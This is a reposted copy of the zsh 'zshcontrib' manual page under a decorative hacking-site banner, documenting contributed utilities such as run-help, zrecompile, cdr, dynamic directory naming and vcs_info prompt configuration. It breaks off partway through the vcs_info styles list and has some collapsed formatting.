  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

942 - Linux cli command zshcontrib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshcontrib and provides detailed information about the command zshcontrib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshcontrib.

NAME 🖥️ zshcontrib 🖥️

user contributions to zsh

DESCRIPTION

The Zsh source distribution includes a number of items contributed by the user community. These are not inherently a part of the shell, and some may not be available in every zsh installation. The most significant of these are documented here. For documentation on other contributed items such as shell functions, look for comments in the function source files.

UTILITIES

Accessing On-Line Help

The key sequence ESC h is normally bound by ZLE to execute the run-help widget (see zshzle(1)). This invokes the run-help command with the command word from the current input line as its argument. By default, run-help is an alias for the man command, so this often fails when the command word is a shell builtin or a user-defined function. By redefining the run-help alias, one can improve the on-line help provided by the shell.

The helpfiles utility, found in the Util directory of the distribution, is a Perl program that can be used to process the zsh manual to produce a separate help file for each shell builtin and for many other shell features as well. The autoloadable run-help function, found in Functions/Misc, searches for these helpfiles and performs several other tests to produce the most complete help possible for the command.

Help files are installed by default to a subdirectory of /usr/share/zsh or /usr/local/share/zsh.

To create your own help files with helpfiles, choose or create a directory where the individual command help files will reside. For example, you might choose ~/zsh_help. If you unpacked the zsh distribution in your home directory, you would use the commands:

mkdir ~/zsh_help perl ~/zsh-5.9/Util/helpfiles ~/zsh_help

The HELPDIR parameter tells run-help where to look for the help files. When unset, it uses the default installation path. To use your own set of help files, set this to the appropriate path in one of your startup files:

HELPDIR=~/zsh_help

To use the run-help function, you need to add lines something like the following to your .zshrc or equivalent startup file:

unalias run-help autoload run-help

Note that in order for `autoload run-help’ to work, the run-help file must be in one of the directories named in your fpath array (see zshparam(1)). This should already be the case if you have a standard zsh installation; if it is not, copy Functions/Misc/run-help to an appropriate directory.

Recompiling Functions

If you frequently edit your zsh functions, or periodically update your zsh installation to track the latest developments, you may find that function digests compiled with the zcompile builtin are frequently out of date with respect to the function source files. This is not usually a problem, because zsh always looks for the newest file when loading a function, but it may cause slower shell startup and function loading. Also, if a digest file is explicitly used as an element of fpath, zsh won’t check whether any of its source files has changed.

The zrecompile autoloadable function, found in Functions/Misc, can be used to keep function digests up to date.

zrecompile [ -qt ] [ name … ]

zrecompile [ -qt ] -p arg … [ arg … ] This tries to find *.zwc files and automatically re-compile them if at least one of the original files is newer than the compiled file. This works only if the names stored in the compiled files are full paths or are relative to the directory that contains the .zwc file.

In the first form, each name is the name of a compiled file or a directory containing *.zwc files that should be checked. If no arguments are given, the directories and *.zwc files in fpath are used.

When -t is given, no compilation is performed, but a return status of zero (true) is set if there are files that need to be re-compiled and non-zero (false) otherwise. The -q option quiets the chatty output that describes what zrecompile is doing.

Without the -t option, the return status is zero if all files that needed re-compilation could be compiled and non-zero if compilation for at least one of the files failed.

If the -p option is given, the args are interpreted as one or more sets of arguments for zcompile, separated by `’. For example:

zrecompile -p \ -R ~/.zshrc – \ -M ~/.zcompdump – \ ~/zsh/comp.zwc ~/zsh/Completion//_

This compiles ~/.zshrc into ~/.zshrc.zwc if that doesn’t exist or if it is older than ~/.zshrc. The compiled file will be marked for reading instead of mapping. The same is done for ~/.zcompdump and ~/.zcompdump.zwc, but this compiled file is marked for mapping. The last line re-creates the file ~/zsh/comp.zwc if any of the files matching the given pattern is newer than it.

Without the -p option, zrecompile does not create function digests that do not already exist, nor does it add new functions to the digest.

The following shell loop is an example of a method for creating function digests for all functions in your fpath, assuming that you have write permission to the directories:

for ((i=1; i <= $#fpath; ++i)); do dir=$fpath[i] zwc=${dir:t}.zwc if [[ $dir == (.|..) || $dir == (.|..)/* ]]; then continue fi files=($dir/(N-.)) if [[ -w $dir:h && -n $files ]]; then files=(${${(M)files%//*}#/}) if ( cd $dir:h && zrecompile -p -U -z $zwc $files ); then fpath[i]=$fpath[i].zwc fi fi done

The -U and -z options are appropriate for functions in the default zsh installation fpath; you may need to use different options for your personal function directories.

Once the digests have been created and your fpath modified to refer to them, you can keep them up to date by running zrecompile with no arguments.

Keyboard Definition

The large number of possible combinations of keyboards, workstations, terminals, emulators, and window systems makes it impossible for zsh to have built-in key bindings for every situation. The zkbd utility, found in Functions/Misc, can help you quickly create key bindings for your configuration.

Run zkbd either as an autoloaded function, or as a shell script:

zsh -f ~/zsh-5.9/Functions/Misc/zkbd

When you run zkbd, it first asks you to enter your terminal type; if the default it offers is correct, just press return. It then asks you to press a number of different keys to determine characteristics of your keyboard and terminal; zkbd warns you if it finds anything out of the ordinary, such as a Delete key that sends neither ^H nor ^?.

The keystrokes read by zkbd are recorded as a definition for an associative array named key, written to a file in the subdirectory .zkbd within either your HOME or ZDOTDIR directory. The name of the file is composed from the TERM, VENDOR and OSTYPE parameters, joined by hyphens.

You may read this file into your .zshrc or another startup file with the `source’ or `.’ commands, then reference the key parameter in bindkey commands, like this:

source ${ZDOTDIR:-$HOME}/.zkbd/$TERM-$VENDOR-$OSTYPE [[ -n ${key[Left]} ]] && bindkey “${key[Left]}” backward-char [[ -n ${key[Right]} ]] && bindkey “${key[Right]}” forward-char # etc.

Note that in order for `autoload zkbd’ to work, the zkdb file must be in one of the directories named in your fpath array (see zshparam(1)). This should already be the case if you have a standard zsh installation; if it is not, copy Functions/Misc/zkbd to an appropriate directory.

Dumping Shell State

Occasionally you may encounter what appears to be a bug in the shell, particularly if you are using a beta version of zsh or a development release. Usually it is sufficient to send a description of the problem to one of the zsh mailing lists (see zsh(1)), but sometimes one of the zsh developers will need to recreate your environment in order to track the problem down.

The script named reporter, found in the Util directory of the distribution, is provided for this purpose. (It is also possible to autoload reporter, but reporter is not installed in fpath by default.) This script outputs a detailed dump of the shell state, in the form of another script that can be read with `zsh -f’ to recreate that state.

To use reporter, read the script into your shell with the `.’ command and redirect the output into a file:

. ~/zsh-5.9/Util/reporter > zsh.report

You should check the zsh.report file for any sensitive information such as passwords and delete them by hand before sending the script to the developers. Also, as the output can be voluminous, it’s best to wait for the developers to ask for this information before sending it.

You can also use reporter to dump only a subset of the shell state. This is sometimes useful for creating startup files for the first time. Most of the output from reporter is far more detailed than usually is necessary for a startup file, but the aliases, options, and zstyles states may be useful because they include only changes from the defaults. The bindings state may be useful if you have created any of your own keymaps, because reporter arranges to dump the keymap creation commands as well as the bindings for every keymap.

As is usual with automated tools, if you create a startup file with reporter, you should edit the results to remove unnecessary commands. Note that if you’re using the new completion system, you should not dump the functions state to your startup files with reporter; use the compdump function instead (see zshcompsys(1)).

reporter [ state … ] Print to standard output the indicated subset of the current shell state. The state arguments may be one or more of:

all
Output everything listed below.

aliases
Output alias definitions.

bindings
Output ZLE key maps and bindings.

completion
Output old-style compctl commands. New completion is covered by functions and zstyles.

functions
Output autoloads and function definitions.

limits
Output limit commands.

options
Output setopt commands.

styles
Same as zstyles.

variables
Output shell parameter assignments, plus export commands for any environment variables.

zstyles
Output zstyle commands.

If the state is omitted, all is assumed.

With the exception of `all’, every state can be abbreviated by any prefix, even a single letter; thus a is the same as aliases, z is the same as zstyles, etc.

Manipulating Hook Functions

add-zsh-hook [ -L | -dD ] [ -Uzk ] hook function Several functions are special to the shell, as described in the section SPECIAL FUNCTIONS, see zshmisc(1), in that they are automatically called at specific points during shell execution. Each has an associated array consisting of names of functions to be called at the same point; these are so-called `hook functions’. The shell function add-zsh-hook provides a simple way of adding or removing functions from the array.

hook is one of chpwd, periodic, precmd, preexec, zshaddhistory, zshexit, or zsh_directory_name, the special functions in question. Note that zsh_directory_name is called in a different way from the other functions, but may still be manipulated as a hook.

function is name of an ordinary shell function. If no options are given this will be added to the array of functions to be executed in the given context. Functions are invoked in the order they were added.

If the option -L is given, the current values for the hook arrays are listed with typeset.

If the option -d is given, the function is removed from the array of functions to be executed.

If the option -D is given, the function is treated as a pattern and any matching names of functions are removed from the array of functions to be executed.

The options -U, -z and -k are passed as arguments to autoload for function. For functions contributed with zsh, the options -Uz are appropriate.

add-zle-hook-widget [ -L | -dD ] [ -Uzk ] hook widgetname
Several widget names are special to the line editor, as described in the section Special Widgets, see zshzle(1), in that they are automatically called at specific points during editing. Unlike function hooks, these do not use a predefined array of other names to call at the same point; the shell function add-zle-hook-widget maintains a similar array and arranges for the special widget to invoke those additional widgets.

hook is one of isearch-exit, isearch-update, line-pre-redraw, line-init, line-finish, history-line-set, or keymap-select, corresponding to each of the special widgets zle-isearch-exit, etc. The special widget names are also accepted as the hook argument.

widgetname is the name of a ZLE widget. If no options are given this is added to the array of widgets to be invoked in the given hook context. Widgets are invoked in the order they were added, with

zle widgetname -Nw -f “nolast” – “$@”

Note that this means that the `WIDGET’ special parameter tracks the widgetname when the widget function is called, rather than tracking the name of the corresponding special hook widget.

If the option -d is given, the widgetname is removed from the array of widgets to be executed.

If the option -D is given, the widgetname is treated as a pattern and any matching names of widgets are removed from the array.

If widgetname does not name an existing widget when added to the array, it is assumed that a shell function also named widgetname is meant to provide the implementation of the widget. This name is therefore marked for autoloading, and the options -U, -z and -k are passed as arguments to autoload as with add-zsh-hook. The widget is also created with `zle -N widgetname**’ to cause the** corresponding function to be loaded the first time the hook is called.

The arrays of widgetname are currently maintained in zstyle contexts, one for each hook context, with a style of `widgets’. If the -L option is given, this set of styles is listed with `zstyle -L’. This implementation may change, and the special widgets that refer to the styles are created only if add-zle-hook-widget is called to add at least one widget, so if this function is used for any hooks, then all hooks should be managed only via this function.

REMEMBERING RECENT DIRECTORIES

The function cdr allows you to change the working directory to a previous working directory from a list maintained automatically. It is similar in concept to the directory stack controlled by the pushd, popd and dirs builtins, but is more configurable, and as it stores all entries in files it is maintained across sessions and (by default) between terminal emulators in the current session. Duplicates are automatically removed, so that the list reflects the single most recent use of each directory.

Note that the pushd directory stack is not actually modified or used by cdr unless you configure it to do so as described in the configuration section below.

Installation

The system works by means of a hook function that is called every time the directory changes. To install the system, autoload the required functions and use the add-zsh-hook function described above:

autoload -Uz chpwd_recent_dirs cdr add-zsh-hook add-zsh-hook chpwd chpwd_recent_dirs

Now every time you change directly interactively, no matter which command you use, the directory to which you change will be remembered in most-recent-first order.

Use

All direct user interaction is via the cdr function.

The argument to cdr is a number N corresponding to the Nth most recently changed-to directory. 1 is the immediately preceding directory; the current directory is remembered but is not offered as a destination. Note that if you have multiple windows open 1 may refer to a directory changed to in another window; you can avoid this by having per-terminal files for storing directory as described for the recent-dirs-file style below.

If you set the recent-dirs-default style described below cdr will behave the same as cd if given a non-numeric argument, or more than one argument. The recent directory list is updated just the same however you change directory.

If the argument is omitted, 1 is assumed. This is similar to pushd’s behaviour of swapping the two most recent directories on the stack.

Completion for the argument to cdr is available if compinit has been run; menu selection is recommended, using:

zstyle ‘:completion:::cdr::’ menu selection

to allow you to cycle through recent directories; the order is preserved, so the first choice is the most recent directory before the current one. The verbose style is also recommended to ensure the directory is shown; this style is on by default so no action is required unless you have changed it.

Options

The behaviour of cdr may be modified by the following options.

-l lists the numbers and the corresponding directories in abbreviated form (i.e. with ~ substitution reapplied), one per line. The directories here are not quoted (this would only be an issue if a directory name contained a newline). This is used by the completion system.

-r
sets the variable reply to the current set of directories. Nothing is printed and the directory is not changed.

-e
allows you to edit the list of directories, one per line. The list can be edited to any extent you like; no sanity checking is performed. Completion is available. No quoting is necessary (except for newlines, where I have in any case no sympathy); directories are in unabbreviated form and contain an absolute path, i.e. they start with /. Usually the first entry should be left as the current directory.

-p ‘pattern
Prunes any items in the directory list that match the given extended glob pattern; the pattern needs to be quoted from immediate expansion on the command line. The pattern is matched against each completely expanded file name in the list; the full string must match, so wildcards at the end (e.g. ’*removeme*’) are needed to remove entries with a given substring.

If output is to a terminal, then the function will print the new list after pruning and prompt for confirmation by the user. This output and confirmation step can be skipped by using -P instead of -p.

Configuration

Configuration is by means of the styles mechanism that should be familiar from completion; if not, see the description of the zstyle command in see zshmodules**(1). The context for setting styles** should be ’:chpwd:*’ in case the meaning of the context is extended in future, for example:

zstyle ‘:chpwd:*’ recent-dirs-max 0

sets the value of the recent-dirs-max style to 0. In practice the style name is specific enough that a context of ‘*’ should be fine.

An exception is recent-dirs-insert, which is used exclusively by the completion system and so has the usual completion system context (’:completion:*’ if nothing more specific is needed), though again ’*’ should be fine in practice.

recent-dirs-default If true, and the command is expecting a recent directory index, and either there is more than one argument or the argument is not an integer, then fall through to “cd”. This allows the lazy to use only one command for directory changing. Completion recognises this, too; see recent-dirs-insert for how to control completion when this option is in use.

recent-dirs-file
The file where the list of directories is saved. The default is ${ZDOTDIR:-$HOME}/.chpwd-recent-dirs, i.e. this is in your home directory unless you have set the variable ZDOTDIR to point somewhere else. Directory names are saved in $’’ quoted form, so each line in the file can be supplied directly to the shell as an argument.

The value of this style may be an array. In this case, the first file in the list will always be used for saving directories while any other files are left untouched. When reading the recent directory list, if there are fewer than the maximum number of entries in the first file, the contents of later files in the array will be appended with duplicates removed from the list shown. The contents of the two files are not sorted together, i.e. all the entries in the first file are shown first. The special value + can appear in the list to indicate the default file should be read at that point. This allows effects like the following:

zstyle ‘:chpwd:’ recent-dirs-file \ ~/.chpwd-recent-dirs-${TTY##/} +

Recent directories are read from a file numbered according to the terminal. If there are insufficient entries the list is supplemented from the default file.

It is possible to use zstyle -e to make the directory configurable at run time:

zstyle -e ‘:chpwd:’ recent-dirs-file pick-recent-dirs-file pick-recent-dirs-file() { if [[ $PWD = ~/text/writing(|/) ]]; then reply=(~/.chpwd-recent-dirs-writing) else reply=(+) fi }

In this example, if the current directory is ~/text/writing or a directory under it, then use a special file for saving recent directories, else use the default.

recent-dirs-insert
Used by completion. If recent-dirs-default is true, then setting this to true causes the actual directory, rather than its index, to be inserted on the command line; this has the same effect as using the corresponding index, but makes the history clearer and the line easier to edit. With this setting, if part of an argument was already typed, normal directory completion rather than recent directory completion is done; this is because recent directory completion is expected to be done by cycling through entries menu fashion.

If the value of the style is always, then only recent directories will be completed; in that case, use the cd command when you want to complete other directories.

If the value is fallback, recent directories will be tried first, then normal directory completion is performed if recent directory completion failed to find a match.

Finally, if the value is both then both sets of completions are presented; the usual tag mechanism can be used to distinguish results, with recent directories tagged as recent-dirs. Note that the recent directories inserted are abbreviated with directory names where appropriate.

recent-dirs-max
The maximum number of directories to save to the file. If this is zero or negative there is no maximum. The default is 20. Note this includes the current directory, which isn’t offered, so the highest number of directories you will be offered is one less than the maximum.

recent-dirs-prune
This style is an array determining what directories should (or should not) be added to the recent list. Elements of the array can include:

parent Prune parents (more accurately, ancestors) from the recent list. If present, changing directly down by any number of directories causes the current directory to be overwritten. For example, changing from ~pws to ~pws/some/other/dir causes ~pws not to be left on the recent directory stack. This only applies to direct changes to descendant directories; earlier directories on the list are not pruned. For example, changing from ~pws/yet/another to ~pws/some/other/dir does not cause ~pws to be pruned.

**pattern:**pattern
Gives a zsh pattern for directories that should not be added to the recent list (if not already there). This element can be repeated to add different patterns. For example, ‘pattern:/tmp(|/*)’ stops /tmp or its descendants from being added. The EXTENDED_GLOB option is always turned on for these patterns.

recent-dirs-pushd
If set to true, cdr will use pushd instead of cd to change the directory, so the directory is saved on the directory stack. As the directory stack is completely separate from the list of files saved by the mechanism used in this file there is no obvious reason to do this.

Use with dynamic directory naming

It is possible to refer to recent directories using the dynamic directory name syntax by using the supplied function zsh_directory_name_cdr a hook:

autoload -Uz add-zsh-hook add-zsh-hook -Uz zsh_directory_name zsh_directory_name_cdr

When this is done, ~[1] will refer to the most recent directory other than $PWD, and so on. Completion after ~[ also works.

Details of directory handling

This section is for the curious or confused; most users will not need to know this information.

Recent directories are saved to a file immediately and hence are preserved across sessions. Note currently no file locking is applied: the list is updated immediately on interactive commands and nowhere else (unlike history), and it is assumed you are only going to change directory in one window at once. This is not safe on shared accounts, but in any case the system has limited utility when someone else is changing to a different set of directories behind your back.

To make this a little safer, only directory changes instituted from the command line, either directly or indirectly through shell function calls (but not through subshells, evals, traps, completion functions and the like) are saved. Shell functions should use cd -q or pushd -q to avoid side effects if the change to the directory is to be invisible at the command line. See the contents of the function chpwd_recent_dirs for more details.

ABBREVIATED DYNAMIC REFERENCES TO DIRECTORIES

The dynamic directory naming system is described in the subsection Dynamic named directories of the section Filename Expansion in zshexpn**(1). In this, a reference to** ~[] is expanded by a function found by the hooks mechanism.

The contributed function zsh_directory_name_generic provides a system allowing the user to refer to directories with only a limited amount of new code. It supports all three of the standard interfaces for directory naming: converting from a name to a directory, converting in the reverse direction to find a short name, and completion of names.

The main feature of this function is a path-like syntax, combining abbreviations at multiple levels separated by “:”. As an example, ~[g:p:s] might specify:

g The top level directory for your git area. This first component has to match, or the function will return indicating another directory name hook function should be tried.

p
The name of a project within your git area.

s
The source area within that project. This allows you to collapse references to long hierarchies to a very compact form, particularly if the hierarchies are similar across different areas of the disk.

Name components may be completed: if a description is shown at the top of the list of completions, it includes the path to which previous components expand, while the description for an individual completion shows the path segment it would add. No additional configuration is needed for this as the completion system is aware of the dynamic directory name mechanism.

Usage

To use the function, first define a wrapper function for your specific case. We’ll assume it’s to be autoloaded. This can have any name but we’ll refer to it as zdn_mywrapper. This wrapper function will define various variables and then call this function with the same arguments that the wrapper function gets. This configuration is described below.

Then arrange for the wrapper to be run as a zsh_directory_name hook:

autoload -Uz add-zsh-hook zsh_directory_name_generic zdn_mywrapper add-zsh-hook -U zsh_directory_name zdn_mywrapper

Configuration

The wrapper function should define a local associative array zdn_top. Alternatively, this can be set with a style called mapping. The context for the style is **:zdn:**wrapper-name where wrapper-name is the function calling zsh_directory_name_generic; for example:

zstyle :zdn:zdn_mywrapper: mapping zdn_mywrapper_top

The keys in this associative array correspond to the first component of the name. The values are matching directories. They may have an optional suffix with a slash followed by a colon and the name of a variable in the same format to give the next component. (The slash before the colon is to disambiguate the case where a colon is needed in the path for a drive. There is otherwise no syntax for escaping this, so path components whose names start with a colon are not supported.) A special component :default: specifies a variable in the form **/:**var (the path section is ignored and so is usually empty) that will be used for the next component if no variable is given for the path. Variables referred to within zdn_top have the same format as zdn_top itself, but contain relative paths.

For example,

local -A zdn_top=( g ~/git ga ~/alternate/git gs /scratch/$USER/git/:second2 :default: /:second1 )

This specifies the behaviour of a directory referred to as ~[g:…] or ~[ga:…] or ~[gs:…]. Later path components are optional; in that case ~[g] expands to ~/git, and so on. gs expands to /scratch/$USER/git and uses the associative array second2 to match the second component; g and ga use the associative array second1 to match the second component.

When expanding a name to a directory, if the first component is not g or ga or gs, it is not an error; the function simply returns 1 so that a later hook function can be tried. However, matching the first component commits the function, so if a later component does not match, an error is printed (though this still does not stop later hooks from being executed).

For components after the first, a relative path is expected, but note that multiple levels may still appear. Here is an example of second1:

local -A second1=( p myproject s somproject os otherproject/subproject/:third )

The path as found from zdn_top is extended with the matching directory, so ~[g:p] becomes ~/git/myproject. The slash between is added automatically (it’s not possible to have a later component modify the name of a directory already matched). Only os specifies a variable for a third component, and there’s no :default:, so it’s an error to use a name like ~[g:p:x] or ~[ga:s:y] because there’s nowhere to look up the x or y.

The associative arrays need to be visible within this function; the generic function therefore uses internal variable names beginning _zdn_ in order to avoid clashes. Note that the variable reply needs to be passed back to the shell, so should not be local in the calling function.

The function does not test whether directories assembled by component actually exist; this allows the system to work across automounted file systems. The error from the command trying to use a non-existent directory should be sufficient to indicate the problem.

Complete example

Here is a full fictitious but usable autoloadable definition of the example function defined by the code above. So ~[gs:p:s] expands to /scratch/$USER/git/myscratchproject/top/srcdir (with $USER also expanded).

local -A zdn_top=( g ~/git ga ~/alternate/git gs /scratch/$USER/git/:second2 :default: /:second1 )

local -A second1=(
  p   myproject
  s   somproject
  os  otherproject/subproject/:third
)

local -A second2=(
  p   myscratchproject
  s   somescratchproject
)

local -A third=(
  s   top/srcdir
  d   top/documentation
)

# autoload not needed if you did this at initialisation...
autoload -Uz zsh_directory_name_generic
zsh_directory_name_generic "$@

It is also possible to use global associative arrays, suitably named, and set the style for the context of your wrapper function to refer to this. Then your set up code would contain the following:

typeset -A zdn_mywrapper_top=(…) # … and so on for other associative arrays … zstyle ‘:zdn:zdn_mywrapper:’ mapping zdn_mywrapper_top autoload -Uz add-zsh-hook zsh_directory_name_generic zdn_mywrapper add-zsh-hook -U zsh_directory_name zdn_mywrapper

and the function zdn_mywrapper would contain only the following:

zsh_directory_name_generic “$@”

GATHERING INFORMATION FROM VERSION CONTROL SYSTEMS

In a lot of cases, it is nice to automatically retrieve information from version control systems (VCSs), such as subversion, CVS or git, to be able to provide it to the user; possibly in the user’s prompt. So that you can instantly tell which branch you are currently on, for example.

In order to do that, you may use the vcs_info function.

The following VCSs are supported, showing the abbreviated name by which they are referred to within the system:

Bazaar (bzr)
https://bazaar.canonical.com/

Codeville (cdv)
http://freecode.com/projects/codeville/

Concurrent Versioning System (cvs)
https://www.nongnu.org/cvs/

Darcs (darcs)
http://darcs.net/

Fossil (fossil)
https://fossil-scm.org/

Git (git)
https://git-scm.com/

GNU arch (tla)
https://www.gnu.org/software/gnu-arch/

Mercurial (hg)
https://www.mercurial-scm.org/

Monotone (mtn)
https://monotone.ca/

Perforce (p4)
https://www.perforce.com/

Subversion (svn)
https://subversion.apache.org/

SVK (svk)
https://svk.bestpractical.com/

There is also support for the patch management system quilt (https://savannah.nongnu.org/projects/quilt). See Quilt Support below for details.

To load vcs_info:

autoload -Uz vcs_info

It can be used in any existing prompt, because it does not require any specific $psvar entries to be available.

Quickstart

To get this feature working quickly (including colors), you can do the following (assuming, you loaded vcs_info properly - see above):

zstyle ‘:vcs_info:’ actionformats \ ‘%F{5}(%f%s%F{5})%F{3}-%F{5}[%F{2}%b%F{3}|%F{1}%a%F{5}]%f ' zstyle ‘:vcs_info:’ formats \ ‘%F{5}(%f%s%F{5})%F{3}-%F{5}[%F{2}%b%F{5}]%f ' zstyle ‘:vcs_info:(sv[nk]|bzr):*’ branchformat ‘%b%F{1}:%F{3}%r’ precmd () { vcs_info } PS1=’%F{5}[%F{2}%n%F{5}] %F{3}%3~ ${vcs_info_msg_0_}%f%# '

Obviously, the last two lines are there for demonstration. You need to call vcs_info from your precmd function. Once that is done you need a single quoted ’${vcs_info_msg_0_}’ in your prompt.

To be able to use ’${vcs_info_msg_0_}’ directly in your prompt like this, you will need to have the PROMPT_SUBST option enabled.

Now call the vcs_info_printsys utility from the command line:

% vcs_info_printsys ## list of supported version control backends: ## disabled systems are prefixed by a hash sign (#) bzr cdv cvs darcs fossil git hg mtn p4 svk svn tla ## flavours (cannot be used in the enable or disable styles; they ## are enabled and disabled with their master [git-svn -> git]) ## they can be used in contexts: ‘:vcs_info:git-svn:*’. git-p4 git-svn hg-git hg-hgsubversion hg-hgsvn

You may not want all of these because there is no point in running the code to detect systems you do not use. So there is a way to disable some backends altogether:

zstyle ‘:vcs_info:*’ disable bzr cdv darcs mtn svk tla

You may also pick a few from that list and enable only those:

zstyle ‘:vcs_info:*’ enable git cvs svn

If you rerun vcs_info_printsys after one of these commands, you will see the backends listed in the disable style (or backends not in the enable style - if you used that) marked as disabled by a hash sign. That means the detection of these systems is skipped completely**. No** wasted time there.

Configuration

The vcs_info feature can be configured via zstyle.

First, the context in which we are working:

:vcs_info:vcs-string:user-context:repo-root-name

vcs-string is one of: git*,* git-svn*,* git-p4*,* hg*,* hg-git*,* hg-hgsubversion*,* hg-hgsvn*,* darcs*,* bzr*,* cdv*,* mtn*,* svn*,* cvs*,* svk*,* tla*,* p4 or fossil*.* This is followed by `**.quilt-quilt-mode’ in Quilt mode (see Quilt Support for details) and by `+**hook-name’ while hooks are active (see Hooks in vcs_info for details).

Currently, hooks in quilt mode don’t add the `**.quilt-**quilt-mode’ information. This may change in the future.

user-context
is a freely configurable string, assignable by the user as the first argument to vcs_info (see its description below).

repo-root-name
is the name of a repository in which you want a style to match. So, if you want a setting specific to /usr/src/zsh*,* with that being a CVS checkout, you can set repo-root-name to zsh to make it so.

There are three special values for vcs-string: The first is named -init-, that is in effect as long as there was no decision what VCS backend to use. The second is -preinit-; it is used before vcs_info is run, when initializing the data exporting variables. The third special value is formats and is used by the vcs_info_lastmsg for looking up its styles.

The initial value of repo-root-name is -all- and it is replaced with the actual name, as soon as it is known. Only use this part of the context for defining the formats*,* actionformats or branchformat styles, as it is guaranteed that repo-root-name is set up correctly for these only. For all other styles, just use ’*’ instead.

There are two pre-defined values for user-context:

default
the one used if none is specified

command
used by vcs_info_lastmsg to lookup its styles

You can of course use ’:vcs_info:*’ to match all VCSs in all user-contexts at once.

This is a description of all styles that are looked up.

formats A list of formats, used when actionformats is not used (which is most of the time).

actionformats
A list of formats, used if there is a special action going on in your current repository; like an interactive rebase or a merge conflict.

branchformat
Some backends replace %b in the formats and actionformats styles above, not only by a branch name but also by a revision number. This style lets you modify how that string should look.

nvcsformats
These “formats” are set when we didn’t detect a version control system for the current directory or vcs_info was disabled. This is useful if you want vcs_info to completely take over the generation of your prompt. You would do something like PS1=’${vcs_info_msg_0_}’ to accomplish that.

hgrevformat
hg uses both a hash and a revision number to reference a specific changeset in a repository. With this style you can format the revision string (see branchformat*) to include either or both. It’s only* useful when get-revision is true. Note, the full 40-character revision id is not available (except when using the use-simple option) because executing hg more than once per prompt is too slow; you may customize this behavior using hooks.

max-exports
Defines the maximum number of vcs_info_msg_*_ variables vcs_info will set.

enable
A list of backends you want to use. Checked in the -init- context. If this list contains an item called NONE no backend is used at all and vcs_info will do nothing. If this list contains ALL*,* vcs_info will use all known backends. Only with ALL in enable will the disable style have any effect. ALL and NONE are case insensitive.

disable
A list of VCSs you don’t want vcs_info to test for repositories (checked in the -init- context, too). Only used if enable contains ALL*.*

disable-patterns
A list of patterns that are checked against $PWD*. If a pattern* matches, vcs_info will be disabled. This style is checked in the :vcs_info:-init-:*:-all- context.

Say, ~/.zsh is a directory under version control, in which you do not want vcs_info to be active, do:

zstyle ‘:vcs_info:’ disable-patterns “${(b)HOME}/.zsh(|/)”

use-quilt
If enabled, the quilt support code is active in `addon’ mode. See Quilt Support for details.

quilt-standalone
If enabled, `standalone’ mode detection is attempted if no VCS is active in a given directory. See Quilt Support for details.

quilt-patch-dir
Overwrite the value of the $QUILT_PATCHES environment variable. See Quilt Support for details.

quiltcommand
When quilt itself is called in quilt support, the value of this style is used as the command name.

check-for-changes
If enabled, this style causes the %c and %u format escapes to show when the working directory has uncommitted changes. The strings displayed by these escapes can be controlled via the stagedstr and unstagedstr styles. The only backends that currently support this option are git*,* hg*, and* bzr (the latter two only support unstaged).

For this style to be evaluated with the hg backend, the get-revision style needs to be set and the use-simple style needs to be unset. The latter is the default; the former is not.

With the bzr backend, lightweight checkouts only honor this style if the use-server style is set.

Note, the actions taken if this style is enabled are potentially expensive (read: they may be slow, depending on how big the current repository is). Therefore, it is disabled by default.

check-for-staged-changes
This style is like check-for-changes*, but it never checks the worktree* files, only the metadata in the .${vcs} dir. Therefore, this style initializes only the %c escape (with stagedstr*) but* not the %u escape. This style is faster than check-for-changes*.*

In the git backend, this style checks for changes in the index. Other backends do not currently implement this style.

This style is disabled by default.

stagedstr
This string will be used in the %c escape if there are staged changes in the repository.

unstagedstr
This string will be used in the %u escape if there are unstaged changes in the repository.

command
This style causes vcs_info to use the supplied string as the command to use as the VCS’s binary. Note, that setting this in ‘:vcs_info:*’ is not a good idea.

If the value of this style is empty (which is the default), the used binary name is the name of the backend in use (e.g. svn is used in an svn repository).

The repo-root-name part in the context is always the default -all- when this style is looked up.

For example, this style can be used to use binaries from non-default installation directories. Assume, git is installed in /usr/bin but your sysadmin installed a newer version in /usr/local/bin. Instead of changing the order of your $PATH parameter, you can do this:

zstyle ‘:vcs_info:git:*:-all-’ command /usr/local/bin/git

use-server
This is used by the Perforce backend (p4*) to decide if it should* contact the Perforce server to find out if a directory is managed by Perforce. This is the only reliable way of doing this, but runs the risk of a delay if the server name cannot be found. If the server (more specifically, the host**:**port pair describing the server) cannot be contacted, its name is put into the associative array vcs_info_p4_dead_servers and is not contacted again during the session until it is removed by hand. If you do not set this style, the p4 backend is only usable if you have set the environment variable P4CONFIG to a file name and have corresponding files in the root directories of each Perforce client. See comments in the function VCS_INFO_detect_p4 for more detail.

The Bazaar backend (bzr*) uses this to permit contacting the server* about lightweight checkouts, see the check-for-changes style.

use-simple
If there are two different ways of gathering information, you can select the simpler one by setting this style to true; the default is to use the not-that-simple code, which is potentially a lot slower but might be more accurate in all possible cases. This style is used by the bzr*,* hg*, and* git backends. In the case of hg it will invoke the external hexdump program to parse the binary dirstate cache file; this method will not return the local revision number.

get-revision
If set to true, vcs_info goes the extra mile to figure out the revision of a repository’s work tree (currently for the git and hg backends, where this kind of information is not always vital). For git*, the* hash value of the currently checked out commit is available via the %i expansion. With hg*, the local revision number and the corresponding* global hash are available via %i*.*

get-mq
If set to true, the hg backend will look for a Mercurial Queue (mq) patch directory. Information will be available via the `%m*’ replacement.*

get-bookmarks
If set to true, the hg backend will try to get a list of current bookmarks. They will be available via the `%m*’ replacement.*

